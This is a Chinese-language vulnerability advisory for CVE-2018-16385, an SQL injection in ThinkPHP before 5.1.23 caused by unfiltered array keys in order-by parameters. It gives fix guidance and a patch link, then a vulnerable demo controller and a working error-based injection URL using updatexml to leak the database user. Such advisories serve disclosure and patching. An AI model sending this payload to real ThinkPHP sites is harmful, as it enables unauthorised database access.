漏洞描述
因是处理order by参数时,如果参数用户可控,当参数为数组key value时,未正确过滤处理数组的key值,导致漏洞的产生。
CVE编号
CVE-2018-16385
威胁等级
高
影响版本
ThinkPHP < 5.1.23
修复建议
对order by语句处理流程加上数组分支安全校验。
https://github.com/top-think/framework/commit/f0f9fc71b8b3716bd2abdf9518bcdf1897bb776c
升级最新版本
漏洞复现
demo:
class Test
{
public function index()
{
$data=array();
$data['username']=array('eq','admin');
$order=input('get.order');//使用input函数进行安全过滤
$m=db('user')->where($data)->order($order)->find();
dump($m);
}
}
提交参数:
http://127.0.0.1/tp5/public/index/index/test/index?order[id`|updatexml(1,concat(0x3a,user()),1)%23]=1
参考链接:
https://github.com/top-think/framework/issues/1375
原文链接:
https://mp.weixin.qq.com/s?__biz=MzIwNTcxNTczMQ==&mid=2247483907&idx=1&sn=3c1f9874878c92d10cff30c1c263fa8a&chksm=972de27fa05a6b69c76fb0b1d3681044e27592021f43c5b97009b15058359d25ee921639344e&token=1033248636&lang=zh_CN#rd